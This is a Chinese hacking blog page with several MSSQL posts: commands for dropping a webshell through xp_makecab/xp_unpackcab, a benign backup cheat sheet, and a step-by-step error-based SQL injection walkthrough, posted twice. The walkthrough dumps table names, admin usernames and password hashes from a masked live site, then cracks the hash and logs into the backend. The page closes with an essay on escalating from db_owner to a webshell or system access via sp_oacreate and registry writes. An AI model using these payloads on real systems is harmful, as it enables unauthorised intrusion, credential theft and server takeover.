浏览模式: 标准 | 列表Tag:mssql

3个MSSQL扩展,可用来获取WEBSHELL

Submitted by admin
2010, August 19, 7:55 AM

EXEC [master].[dbo].[xp_makecab] 'c:\test.rar','default',1,'d:\cmd.asp'

打包

EXEC [master].[dbo].[xp_unpackcab] 'C:\test.rar','c:',1, 'n.asp'

解包,可以用于得到webshell

EXEC [master].[dbo].[xp_readerrorlog] 1,'d:\cmd.asp'

读文本代码



要求权限:

master的dbo权限

0-----------------------------------------------------------------------0

马骏 :

希望看到的人能用上

如果遇到什么问题可以留言给我

Tags: mssql

mssql数据操作小备忘

Submitted by admin
2010, July 2, 7:28 PM

这篇日志被加密了,请输入密码后查看。

MSSQL2005 数据库备份语句

Submitted by admin
2010, April 23, 2:44 PM

--完整备份
Backup Database NorthwindCS
To disk='G:\Backup\NorthwindCS_Full_20070908.bak'

--差异备份
Backup Database NorthwindCS
To disk='G:\Backup\NorthwindCS_Diff_20070908.bak'
With Differential

--日志备份,默认截断日志
Backup Log NorthwindCS
To disk='G:\Backup\NorthwindCS_Log_20070908.bak'

--日志备份,不截断日志
Backup Log NorthwindCS
To disk='G:\Backup\NorthwindCS_Log_20070908.bak'
With No_Truncate

--截断日志不保留
Backup Log NorthwindCS
With No_Log

--或者
Backup Log NorthwindCS
With Truncate_Only
--截断之后日志文件不会变小
--有必要可以进行收缩

--文件备份
Exec Sp_Helpdb NorthwindCS --查看数据文件
Backup Database NorthwindCS
File='NorthwindCS'   --数据文件的逻辑名
To disk='G:\Backup\NorthwindCS_File_20070908.bak'

--文件组备份
Exec Sp_Helpdb NorthwindCS --查看数据文件
Backup Database NorthwindCS
FileGroup='Primary'   --数据文件的逻辑名
To disk='G:\Backup\NorthwindCS_FileGroup_20070908.bak'
With init

--分割备份到多个目标
--恢复的时候不允许丢失任何一个目标
Backup Database NorthwindCS
To disk='G:\Backup\NorthwindCS_Full_1.bak'
     ,disk='G:\Backup\NorthwindCS_Full_2.bak'

--镜像备份
--每个目标都是相同的
Backup Database NorthwindCS
To disk='G:\Backup\NorthwindCS_Mirror_1.bak'
Mirror
To disk='G:\Backup\NorthwindCS_Mirror_2.bak'
With Format --第一次做镜像备份的时候格式化目标

--镜像备份到本地和远程
Backup Database NorthwindCS
To disk='G:\Backup\NorthwindCS_Mirror_1.bak'
Mirror
To disk='\\192.168.1.200\Backup\NorthwindCS_Mirror_2.bak'
With Format

--每天生成一个备份文件
Declare @Path Nvarchar(2000)
Set @Path ='G:\Backup\NorthwindCS_Full_'
+Convert(Nvarchar,Getdate(),112)+'.bak'

Backup Database NorthwindCS
To disk=@Path


--从NoRecovery或者
--Standby模式恢复数据库为可用
Restore Database NorthwindCS_Bak
With Recovery

--查看目标备份中的备份集
Restore HeaderOnly
From Disk ='G:\Backup\NorthwindCS_Full_20070908.bak'

--查看目标备份的第一个备份集的信息
Restore FileListOnly
From Disk ='G:\Backup\NorthwindCS_Full_20070908_2.bak'
With File=1

--查看目标备份的卷标
Restore LabelOnly
From Disk ='G:\Backup\NorthwindCS_Full_20070908_2.bak'

--备份设置密码保护备份
Backup Database NorthwindCS
To disk='G:\Backup\NorthwindCS_Full_20070908.bak'
With Password = '123',init

Restore Database NorthwindCS
From disk='G:\Backup\NorthwindCS_Full_20070908.bak'
With Password = '123'

Tags: mssql

MSSQL显错模式的手工注入实现原理思考和实战

Submitted by admin
2009, December 13, 11:04 PM

by Ay暗影

    说到Mssql手工注入,本人喜欢显错模式的,为啥呢,因为你只要构造一个语句,不用你一个一个特意的去猜,程序会自动告诉你我们要的信息,省时省力,不像不显错模式的盲注,可以让你猜上个半天。进入正题,下面来说说我对显错模式原理的思考。

    显错模式,起初也是为了方便程序员修改代码,但是,这正好被我们利用了,我们故意让程序出错来爆出我们要的敏感信息。

    上次我说到过having 1=1 和group by的显错模式是通过语法错误来达到我们的目的,这次我说的出错是数据转换出错,就是通过数据转换让数据发生溢出来完成我们的动作。

    我们应该都听说数据类型,比如int,char,等等。。。当我们定义好一个数据时,也就定义好了一个数据的长度,比如,int 型是4个字节的长度,如果一个数据超过了4个字节的长度的话,该数据就会发生溢出而失去准确性,从而编译软件会显示出错信息。

    在数据转换时有个规则,就是短的可以转换成长的,但是长的不能转换成短的,什么意思呢,就是比如数据库中有整型数据tinyint(一个字节长度)、smallint(两个字节长度)、int(四个字节长度),tinyint可以向上转化成smallint、int而不会出错,但是不能反向转化把int转化为smallint和tinyint,否则会发生数据溢出。为啥呢,这个应该很容易理解,一个数据本来是4个字节长度的,转换成2个字节长度的数据类型的话,这个2个字节的空间就装不下了,数据就丢失了,同理,反过来就可以了,2个字节的数据可以换到4个字节的空间里,数据是不会丢失出错的。

我在使用这个方法时用到下面两个函数

数据转换函数

convert(数据类型,表达式(就是要转换的对象))

cast(表达式 as 数据类型)


在注入时我们要用到的语句:

因为光是用group by 和having 不能完成我们的检测过程,所以我们要配合其他系统函数的查表功能,因为上面必须要知道表名才能利用


第一种函数

select name from sysobjects where xtype='u'  通过这个来爆第一个表

select name from sysobjects where xtype='u' and name not in('爆出来的表1','爆出来的表2'...)

一直爆下去,直到找到我们所需要的表位置


第二种函数

select table_name from information_schema.tables

select table_name from information_schema.tables where table_name not in ('爆出来的表1','爆出来的表2'...)。


实战练习

目标 http://www.xxx.com/shownews.aspx?id=3

首先拿个到一个注入点,我们要判断是什么类型的数据库mssql还是access或者其他。

一、我们提交

http://www.xxx.com/shownews.aspx?id=3 and user>0

我们得到用户名是:Jxb_Ojc_Zj_Cn

大小: 50.36 K
尺寸: 500 x 162
浏览: 44 次
点击打开新窗口浏览全图

二、我们提交

http://www.xxx.com/shownews.aspx?id=3 and db_name()>0

得到数据库也是:Jxb_Ojc_Zj_Cn

大小: 62.18 K
尺寸: 500 x 178
浏览: 39 次
点击打开新窗口浏览全图

三、继续提交

http://www.xxx.com/shownews.aspx?id=3 and 1=convert(int,(select top 1 name from sysobjects where xtype=u and status>0))

根据返回的结果,应该不是我们要的表

大小: 50.9 K
尺寸: 500 x 170
浏览: 44 次
点击打开新窗口浏览全图

四、接着提交(这中间省了好多步相同操作,直到发现很有可能存放用户名的表)

http://www.xxx.com/shownews.aspx?id=3 and 1=convert(int,(select top 1 name from sysobjects where xtype=u and status>0 and name not in ('FM_Page_Class, 'D99_Tmp', 'D99_CMD')))

哈哈,之前有人用啊D检测过。。。

大小: 58.01 K
尺寸: 500 x 175
浏览: 40 次
点击打开新窗口浏览全图

大小: 57.71 K
尺寸: 500 x 176
浏览: 37 次
点击打开新窗口浏览全图

五、确定了表明之后,我们来利用having 1=1 来爆出表里的列明

提交 http://www.xxx.com/shownews.aspx?id=3 select * from FM_admin having 1=1

爆出了所有的列名,哈哈,不过一般情况下是只爆出一个列,那就要用到group by了。

大小: 145.59 K
尺寸: 500 x 281
浏览: 50 次
点击打开新窗口浏览全图

六、整理下我们手上的资料,我们得到了表和列,那我们就要开始爆它字段的内容了

提交: http://www.xxx.com/shownews.aspx?id=3 and 1=convert(int,(select top 1 adminname from fm_admin))

爆出了用户名:admin

大小: 60.29 K
尺寸: 500 x 173
浏览: 54 次
点击打开新窗口浏览全图

接着提交: http://www.xxx.com/shownews.aspx?id=3 and 1=convert(int,(select top 1 password from fm_admin))

爆出了密码:BD2C2**********BF2F4284BFDA1

大小: 59.73 K
尺寸: 500 x 179
浏览: 47 次
点击打开新窗口浏览全图

当然,还有其他密码,我们可以加一个限制条件来爆出其他用户名和密码,

分别提交: http://www.xxx.com/shownews.aspx?id=3 and 1=convert(int,(select top 1 adminname from fm_admin where username not in (admin)))

大小: 61.68 K
尺寸: 500 x 172
浏览: 41 次
点击打开新窗口浏览全图

http://www.xxx.com/shownews.aspx?id=3 and 1=convert(int,(select top 1 password from fm_admin where adminname not in (admin)))

大小: 50.28 K
尺寸: 500 x 151
浏览: 39 次
点击打开新窗口浏览全图

当然,这个where的限制条件可以自己变通下加,这个就看大家怎么想了,哈。

接下来其他的用户名和密码我就不爆了,还有很多个用户名和密码,方法同上,重复操作。

七、拿用户名和密码进后台

拿着爆出来的md5加密的密码去破解下,运气好,第一个密码就解了

大小: 17.31 K
尺寸: 500 x 129
浏览: 45 次
点击打开新窗口浏览全图

然后就是拿密码进后台了

大小: 48.35 K
尺寸: 500 x 231
浏览: 36 次
点击打开新窗口浏览全图

入侵就到这里了,拿shell我就不写下去了,哈哈。

希望这篇文章对大家有用处。。。

MSSQL显错模式的手工注入实现原理思考和实战

Submitted by admin
2009, November 10, 7:03 PM

by Ay暗影

    说到Mssql手工注入,本人喜欢显错模式的,为啥呢,因为你只要构造一个语句,不用你一个一个特意的去猜,程序会自动告诉你我们要的信息,省时省力,不像不显错模式的盲注,可以让你猜上个半天。进入正题,下面来说说我对显错模式原理的思考。

    显错模式,起初也是为了方便程序员修改代码,但是,这正好被我们利用了,我们故意让程序出错来爆出我们要的敏感信息。

    上次我说到过having 1=1 group by的显错模式是通过语法错误来达到我们的目的,这次我说的出错是数据转换出错,就是通过数据转换让数据发生溢出来完成我们的动作。

    我们应该都听说数据类型,比如intchar,等等。。。当我们定义好一个数据时,也就定义好了一个数据的长度,比如,int 型是4个字节的长度,如果一个数据超过了4个字节的长度的话,该数据就会发生溢出而失去准确性,从而编译软件会显示出错信息。

    在数据转换时有个规则,就是短的可以转换成长的,但是长的不能转换成短的,什么意思呢,就是比如数据库中有整型数据tinyint(一个字节长度)smallint(两个字节长度)int(四个字节长度)tinyint可以向上转化成smallintint而不会出错,但是不能反向转化把int转化为smallinttinyint,否则会发生数据溢出。为啥呢,这个应该很容易理解,一个数据本来是4个字节长度的,转换成2个字节长度的数据类型的话,这个2个字节的空间就装不下了,数据就丢失了,同理,反过来就可以了,2个字节的数据可以换到4个字节的空间里,数据是不会丢失出错的。

我在使用这个方法时用到下面两个函数

数据转换函数

convert(数据类型,表达式(就是要转换的对象))

cast(表达式 as 数据类型)


在注入时我们要用到的语句:

因为光是用group by having 不能完成我们的检测过程,所以我们要配合其他系统函数的查表功能,因为上面必须要知道表名才能利用


第一种函数

select name from sysobjects where xtype='u'  通过这个来爆第一个表

select name from sysobjects where xtype='u' and name not in('爆出来的表1''爆出来的表2'...)

一直爆下去,直到找到我们所需要的表位置


第二种函数

select table_name from information_schema.tables

select table_name from information_schema.tables where table_name not in ('爆出来的表1''爆出来的表2'...)


实战练习

目标 http://www.xxx.com/shownews.aspx?id=3

首先拿个到一个注入点,我们要判断是什么类型的数据库mssql还是access或者其他。

一、我们提交

http://www.xxx.com/shownews.aspx?id=3 and user>0

我们得到用户名是:Jxb_Ojc_Zj_Cn

大小: 35.25 K
尺寸: 500 x 162
浏览: 41 次
点击打开新窗口浏览全图

二、我们提交

http://www.xxx.com/shownews.aspx?id=3 and db_name()>0

得到数据库也是:Jxb_Ojc_Zj_Cn

大小: 44.22 K
尺寸: 500 x 178
浏览: 47 次
点击打开新窗口浏览全图

三、继续提交

http://www.xxx.com/shownews.aspx?id=3 and 1=convert(int,(select top 1 name from sysobjects where xtype=u and status>0))

根据返回的结果,应该不是我们要的表

大小: 35.47 K
尺寸: 500 x 170
浏览: 40 次
点击打开新窗口浏览全图

四、接着提交(这中间省了好多步相同操作,直到发现很有可能存放用户名的表)

http://www.xxx.com/shownews.aspx?id=3 and 1=convert(int,(select top 1 name from sysobjects where xtype=u and status>0 and name not in ('FM_Page_Class, 'D99_Tmp', 'D99_CMD')))

哈哈,之前有人用啊D检测过。。。

大小: 40.46 K
尺寸: 500 x 175
浏览: 44 次
点击打开新窗口浏览全图大小: 40.31 K
尺寸: 500 x 176
浏览: 43 次
点击打开新窗口浏览全图

五、确定了表明之后,我们来利用having 1=1 来爆出表里的列明

提交 http://www.xxx.com/shownews.aspx?id=3 select * from FM_admin having 1=1

爆出了所有的列名,哈哈,不过一般情况下是只爆出一个列,那就要用到group by了。大小: 104.78 K
尺寸: 500 x 281
浏览: 39 次
点击打开新窗口浏览全图

六、整理下我们手上的资料,我们得到了表和列,那我们就要开始爆它字段的内容了

提交: http://www.xxx.com/shownews.aspx?id=3 and 1=convert(int,(select top 1 adminname from fm_admin))

爆出了用户名:admin

大小: 41.94 K
尺寸: 500 x 173
浏览: 39 次
点击打开新窗口浏览全图

 

接着提交: http://www.xxx.com/shownews.aspx?id=3 and 1=convert(int,(select top 1 password from fm_admin))

爆出了密码:BD2C2**********BF2F4284BFDA1

大小: 42.89 K
尺寸: 500 x 179
浏览: 46 次
点击打开新窗口浏览全图

当然,还有其他密码,我们可以加一个限制条件来爆出其他用户名和密码,

分别提交: http://www.xxx.com/shownews.aspx?id=3 and 1=convert(int,(select top 1 adminname from fm_admin where username not in (admin)))

大小: 43.28 K
尺寸: 500 x 172
浏览: 37 次
点击打开新窗口浏览全图

http://www.xxx.com/shownews.aspx?id=3 and 1=convert(int,(select top 1 password from fm_admin where adminname not in (admin)))

大小: 35.75 K
尺寸: 500 x 151
浏览: 38 次
点击打开新窗口浏览全图

当然,这个where的限制条件可以自己变通下加,这个就看大家怎么想了,哈。

接下来其他的用户名和密码我就不爆了,还有很多个用户名和密码,方法同上,重复操作。

七、拿用户名和密码进后台

拿着爆出来的md5加密的密码去破解下,运气好,第一个密码就解了

大小: 10.43 K
尺寸: 500 x 129
浏览: 41 次
点击打开新窗口浏览全图

然后就是拿密码进后台了 

大小: 31.67 K
尺寸: 500 x 231
浏览: 36 次
点击打开新窗口浏览全图

入侵就到这里了,拿shell我就不写下去了,哈哈。

希望这篇文章对大家有用处。。。


作者:许文强  
联系方式:QQ:57133683

    在看之前我们先回顾一下目前在公开或者已知的public和db_owner权限拿到webshell或者系统权限的思路和方法(sysadmin权限我就不说拉,给你这么一句,只要是sysadmin,拿不到webshell或者系统权限那是你的无能)public下面我还没见到一种可以真正能利用的方法。db_owner目前公开的方法主要有5种:第一种就是最普遍的backup,现在利用差异备份生成的asp文件确实要比以前小拉不少,但能否得到webshell,目前成功率还不是很高。第二种就是在下的万能提权,此法成功率几乎为零,只有在特定的条件下面才能实现。第三种就是LCX大虾在《MSSQL db_owner角色注入直接获得系统权限》,所说的利用xp_regread读出VNC在注册表的加密密码,然后破解,直接拿到系统权限,这种方法局限性比较大,要是对方主机没有装vnc,你怎么办。第四种就是利用xp_regwrite再注册表里直接加个系统帐号或者直接写个webshell,在主机重起的时候就可以拿到webshell或者系统权限。此法适用范围比较大,成功率也相对前3种较高点,但缺点也是显而易见的,就是不能够马上得到webshell,需要对方重起。第五种就是利用添加作业的一些存储过程,sp_add_job,sp_addtask之类得到系统权限。理论上应该说是目前这5种里面成功率最高的的一种吧(郁闷,我在本机测试的时候一次也没成功过,可能是操作系统的原因吧)。

    看过以上5种方法后,应该说目前在db_owner权限下面得到系统权限的的手段无论是成功率还是从结果来看,都还是不太理想的。呵呵要是我告诉你还有第6种,第7种,第8种呢,而且每个都比以上任何一种的方法的成功率都高。呵呵,你信不信。我先介绍一个大家应该都知道的,而且可能大家都经常用,可是却没想到他还有另一面的方法,我把他叫做——瞒天过海。再介绍之前还得有请各位看官先把我制作的动画看一下。

    看拉之后,不知道网管们会做何感想啊,想不到只有相对public权限(我在movie里面只有public权限,相信看过动画的各位也应该看清楚拉,之所以说是相对,那是因为我在master中有db_owner权限)的我们竟然可以使用只有sysadmin才能用的sp_oacreate及sp_oamethod吧,利用sp_oacreate,sp_oamethod我们可以说是无所不能,你可以用来写个webshell甚至直接加个系统帐号。而且利用sp_oacreate及sp_oamethod写出来的webshell可是没有乱码的哦。那么为什么只有 sysadmin 固定服务器角色的成员才能执行的 sp_OACreate、sp_oamethod(呵呵,M$讲的),而只有相对public权限的我们却好使用,原因我也不太清楚,可能是M$送给我们的“彩蛋”吧。

    可能你会问,那要是在master中是public权限,其他数据库都是public权限的情况下,我们还能得到webshell或者系统权限吗?我现在就告诉你,那是绝对不可能的事情,注意我的意思是说,在绝对public权限下面,你想通过存储过程以及扩展存储过程,得到webshell或者系统权限那是绝对不可能的事情,除非你借助其他方法才有可能在绝对的public权限下面,才有可能得到webshell或者系统权限,单靠sql的力量是肯定不够的。我在我的《终极利用方法》一文里面说的public权限的用户拿到webshell甚至系统权限的方法至少有4种,是指在相对的public权限下面,至少有4种以上。绝对的情况下面,你想用存储过程或者扩展存储过程拿到webshell或者系统权限是绝对不可能的。下面我来说说为什么在绝对的public权限下面是绝对不可能的.

   可能会有人说可以利用sp_add_job,sp_add_jobstep,sp_add_jobserver,sp_start_job,sp_addtask这些存储过程可以得到webshell或者系统权限啊,的确是可以,(郁闷,我在自己机器上作实验一次也没成功过,肉鸡上却可以,不懂)但要在SQLSERVERAGENT服务开启的情况下面,而且默认是不开启的哦,你想利用xp_servicecontrol来启动啊,你到查询分析器输入exec master..xp_servicecontrol 'start','SQLSERVERAGENT'试试看,看看是不是出现错误拉。

    就算是public可以使用的xp_regread,xp_dirtree,xp_subdirs这些稍微对你有用的存储过程,就算是给你用,你在检测对方的网站的时候也没办法用,你首先要建个表吧,然后才能把你要读的键值或者你要看的盘符插到表里面吧,最后才能通过暴出来才能看见你想要看见的内容。可是不要忘拉public是没有建表,插入,更新,备份等权限的,所以第一关你就过不去,你只能除拉select还是select。

    至于其他的有危险的存储及扩展存储我就不一一举例拉,不是权限不够就是有限制。所以综上所述,在绝对public权限下,想要只凭借sql的力量拿到webshell及系统权限是绝对不可能的事情(假如你可以做到的话,作个动画给大家看看,成功的话,那你绝对是牛人中的牛人拉。)

    网管们也不要开心的太早拉,就算是在绝对的public权限下,只要条件成熟,sql注射配合其他手法还是可以拿到webshell的,假设你的网站有sql injection漏洞,但是是绝对的public权限,“黑客”们虽然光凭sql的力量是无法得到webshell,但可以利用select暴出你的管理员密码然后到后台,通过上传(或者干脆就是上传漏洞)或者备份,修改,创建得到一个webshell,也可能用木马代替你的一个正常文件,得到webshell。当然方法还有很多,不可能一一列举出来。
    sql injection只是脚本漏洞的冰山一脚,网管们不要以为杜绝拉sql injection就可以高枕无忧,就算你真的杜绝拉sql injection,可是一旦在其他地方出拉问题,列如跨站拉(中国目前至少90%以上的网站都有这个问题,即使大型门户网站也不能幸免),上传拉(最近上传漏洞的确是火拉一阵啊),暴库拉(通过暴库得到数据库名,要是后缀是asp或asa的可以插入一句话木马),等等,只要你一个很小的地方出现拉问题,那么就有可能带来巨大的损失。在这里我想给所有网管们一个建议:
   对于那些公开的或者是已知的漏洞和问题,我们一定要处理好,解决好,而对于那些没有公开或者只有少数人掌握的漏洞,我们只有作好完备的防范措施,这样才能在"灾难"来临时把损失降到最低。

   总之一句话:安全是一个整体。

后记:
   可能会有人说有谁回在其他数据库里面都是public的情况下面,而惟独给master,db_owner权限呢?确实,这种概率确实很低。在实战public提权中也没多大利用价值。

    呵呵,那要是在其他数据库是db_owner权限,你认为master中具有db_owner的概率大不大?我以我实战的的经历告诉你,至少90%的网站会在给他默认数据库db_owner权限的同时,同时给master,db_owner权限,尤其是在他数据库少的时候,只有2,3个用户数据库的情况下,100%在master中具有db_owner权限。呵呵,那你说在db_owner权限下利用价值大不大。而且在所有有关的书籍里面都说拉只有sysadmin才能用的sp_oacreate及sp_oamethod,所以大多数网管都会认为即使我们找到注射点,也没有权限使用而不会删除。即使删除拉,也无所谓,由于MSSQL强大的功能再加上大量丰富的存储过程及扩展存储过程,我们还是有办法得到webshell甚至系统权限的,所以说最好的方法就是杜绝sql injection。

   应该有不少人都会在看拉之后回说我在N年前就知道拉,早就会用sp_oacreate和sp_oamethod拉,不错,你可能很早就知道拉,我也很早就知道拉,可是你知道只要有相对public权限或者说db_owner权限也可以使用吗?你可能还以为只有sysadmin固定服务器角色的成员才能执行吧。

   可能有的人看过以后会有人问我要工具,呵呵,其实网上面早就有拉,xiaolu写sqlcomm里面有这个功能,不过我觉得不太好用自己又重新写拉个。这里多说几句,一直用工具的话,会把人变傻的,工具只是武器,思想才是灵魂,工具只是提高效率罢了,并不代表你的技术高超。思想决定一切

(版权所有,未经允许,不得用于商业目的只能用于民间交流)